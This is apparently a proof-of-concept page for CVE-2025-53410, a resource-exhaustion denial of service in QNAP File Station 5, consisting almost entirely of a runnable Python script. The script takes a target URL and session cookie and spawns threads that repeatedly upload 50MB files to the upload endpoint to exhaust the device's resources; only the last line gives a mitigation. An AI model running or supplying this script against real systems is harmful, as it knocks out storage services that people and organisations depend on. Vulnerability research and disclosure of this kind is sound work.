CVE-2025-53410: QNAP File Station 5 资源分配无限制导致拒绝服务

# CVE-2025-53410 PoC - Resource Exhaustion via File Station 5 # Note: This is a conceptual PoC for educational purposes import requests import concurrent.futures import argparse def exhaust_resources(target_url, session_cookie, num_requests=100): """ Simulate resource exhaustion attack against QNAP File Station 5 by creating excessive file operations """ headers = { 'Cookie': f'NAS_SID={session_cookie}', 'User-Agent': 'FileStation-Agent/5.5.6' } # Example: Upload large files repeatedly to exhaust resources endpoint = f'{target_url}/cgi-bin/filemanager/utilRequest.cgi' for i in range(num_requests): try: files = { 'file': ('large_file.bin', b'\x00' * 1024 * 1024 * 50) # 50MB file } data = { 'func': 'upload', 'source': 'local', 'dest_path': f'/Shared/malicious_{i}' } response = requests.post(endpoint, headers=headers, files=files, data=data, timeout=30) print(f'Request {i+1}/{num_requests} - Status: {response.status_code}') except Exception as e: print(f'Request {i+1} failed: {e}') def main(): parser = argparse.ArgumentParser(description='CVE-2025-53410 PoC') parser.add_argument('--target', required=True, help='Target QNAP NAS URL') parser.add_argument('--cookie', required=True, help='Valid session cookie') parser.add_argument('--threads', type=int, default=10, help='Number of concurrent threads') args = parser.parse_args() print(f'Starting resource exhaustion attack on {args.target}') with concurrent.futures.ThreadPoolExecutor(max_workers=args.threads) as executor: futures = [executor.submit(exhaust_resources, args.target, args.cookie) for _ in range(args.threads)] concurrent.futures.wait(futures) print('Attack completed') if __name__ == '__main__': main() # Mitigation: Upgrade to File Station 5.5.6.5018 or later